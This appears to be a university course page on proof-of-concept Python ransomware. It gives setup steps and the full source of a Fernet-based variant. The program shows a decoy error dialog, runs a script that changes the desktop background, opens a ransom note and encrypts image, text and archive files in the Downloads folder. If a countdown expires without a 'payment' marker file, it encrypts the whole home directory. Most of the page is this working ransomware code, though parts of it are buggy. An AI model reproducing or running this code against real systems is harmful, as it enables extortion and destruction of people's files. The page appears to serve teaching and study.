Python based Ransomware
Summary
Various proof-of-concept implementations for a Python-based Ransomware.
AES and RSA based CGR
This section is using a standard AES encryption (symmetric) for encrypting the files. The symmetric key is encrypted with RSA (asymmetric). This procedure is also known as hybrid encryption.
Code
The Code is available via Git.
- Client: https://git.fh-campuswien.ac.at/c2210475038/akits
- Program for decrypting the symmetric key: https://git.fh-campuswien.ac.at/c2210475038/akits-key-decrypt
Requirements
Tested on the following setup:
- Ubuntu 24.04.01 LTS (amd64) - (VM in Parallels Desktop 18.3.3)
- Python 3.12.3
venv-setup and dependency installation
In order to be able to use the virtual environment (venv) of Python, the package must first be installed via your package-manager.
sudo apt install python3.12-venv
Create a new virtual environment:
python3 -m venv ransomwarevenv source ransomwarevenv/bin/activate
Install the required dependencies:
cd <your folder with the cloned client repo> pip install -r requirements.txt
Now you are able to execute the ransomware.
Fernet key based CGR
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:
- A 128 bit AES encryption key
- A 128 bit SHA256 signing key
Requirements
- Operating system: Ubuntu 18.04 bionic amd64
- Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git
Main Secion of the Code
import os import webbrowser from os.path import expanduser from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key import tkinter as tk from PIL import ImageTk, Image from multiprocessing import Process from threading import Thread import time from pathlib import Path
#Welcome to Somali FBI Ransomware! To start encryption: #python3 main.py --action encrypt #To decrypt files: #python3 main.py --action decrypt --keyfile ./path/to/key
root = tk.Tk()
root.title('Terminal')
# root2 = tk.Tk()
# root2.title('FBI SOMALIA ALERT!')
# root.wm_attributes('-fullscreen', 'true')
class Malware(object):
def __init__(self):
self.key = None # key to encrypt the files
self.cryptor = None # The encryptor
self.file_ext_targets = ['jpg', 'txt', 'png' 'zip'] # our ransomware will encrypt txt files
self.my_file = Path("~/Desktop/MENSA.txt") # the system will look for this file before starting the decryption process.
self.flag = 0
self.time = 1000000
def mainscreen(self):
termf = tk.Frame(root, height=400, width=500)
w = tk.Label(root, text="Something went wrong...")
button = tk.Button(text='Close', command=self.quitApp).pack()
w.pack()
root.mainloop()
#This is a method that generates a key to unlock files and pass it to the crypter
#verifies the key for decryption
def quitApp(self):
root.destroy()
ransom.writeKey("key")
ransom.encryptRoot(local_root)
# canvas.delete()
self.root2 = tk.Tk()
#self.root2.wm_attributes('-fullscreen', 'true')
#self.canvas = tk.Canvas(self.root2, width=1366, height=800)
#self.img = tk.PhotoImage(file="data/FBI.PNG")
#self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)
#self.canv as.pack()
#root2.mainloop()
self.tick(30) #timer for encryption
def tick(self, t):
while t:
os.system('sh mi6.sh') #shell script to change the background is run constantly
if self.flag == 0:
time.sleep(5)
self.note = webbrowser.open('file://' + os.path.realpath('note.html')) #Ransomware not is generated
self.flag += 1
mins, secs = divmod(t, 60)
timer = '{:02d}:{:02d}'.format(mins, secs)
print(timer, end="\r")
time.sleep(1)
if self.my_file.is_file():
webbrowser.open('file://' + os.path.realpath('success.html')) #Once the the ransom is payed, the success page is displayed
ransom.readKey('keyfile')
ransom.encryptRoot(local_root, encrypted=True)
break
t -= 1
if t == 0 and not self.my_file.is_file():
webbrowser.open('file://' + os.path.realpath('fail.html')) #If timer runs out and there are no ransom paid, fail page is displayed
sys_root = expanduser("~") #set new encryption directory to the root
ransom.generateKey() #generate a key
ransom.writeKey("keyfile") #write a key
ransom.encryptRoot(sys_root) #start the encryption process
def generateKey(self):
self.key = Fernet.generate_key()
self.cryptor = Fernet(self.key)
read the key for decryption
def readKey(self, keyfileName):
with open(keyfileName, "rb") as f:
self.key = f.read()
self.cryptor = Fernet(self.key)
#Save decryption key to a file
def writeKey(self, keyFileName):
print(self.key)
with open(keyFileName, "wb") as f:
f.write(self.key)
encrypt or decrypt files from root directory
def encryptRoot(self, rootDir, encrypted=False):
for root, _, files in os.walk(rootDir):
for f in files:
abs_files_path = os.path.join(root, f)
# pass if no target files is present in current folder
if not abs_files_path.split(".")[-1] in self.file_ext_targets:
continue
self.encryptFile(abs_files_path, encrypted=encrypted)
encrypt and decrypt files
def encryptFile(self, filePath, encrypted=False):
with open(filePath, "rb+") as f:
_data = f.read()
if not encrypted:
# perform encryption
print()
print(f"File Contents before encryption: {_data}")
data = self.cryptor.encrypt(_data)
print(f"File contents after encryption: {data}")
else:
# decrypt
data = self.cryptor.decrypt(_data)
print(f"File content before encryption: {data}")
f.seek(0)
f.write(data)
if __name__ == "__main__":
# sys_root = expanduser("~") # Use to encrypt every folder from root
local_root = expanduser("~/Downloads") # Use to encrypt specific folder
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--action", required=True)
parser.add_argument("--keyfile")
args = parser.parse_args()
action = args.action.lower()
keyfile = args.keyfile
ransom = Malware()
if action == "decrypt":
if keyfile is None:
print("Path to key must be specified after --keyfile for decryption")
else:
ransom.readKey(key)
ransom.encryptRoot(local_root, encrypted=True)
elif action == "encrypt":
Thread(target=ransom.generateKey()).start()
Thread(target=ransom.mainscreen()).start()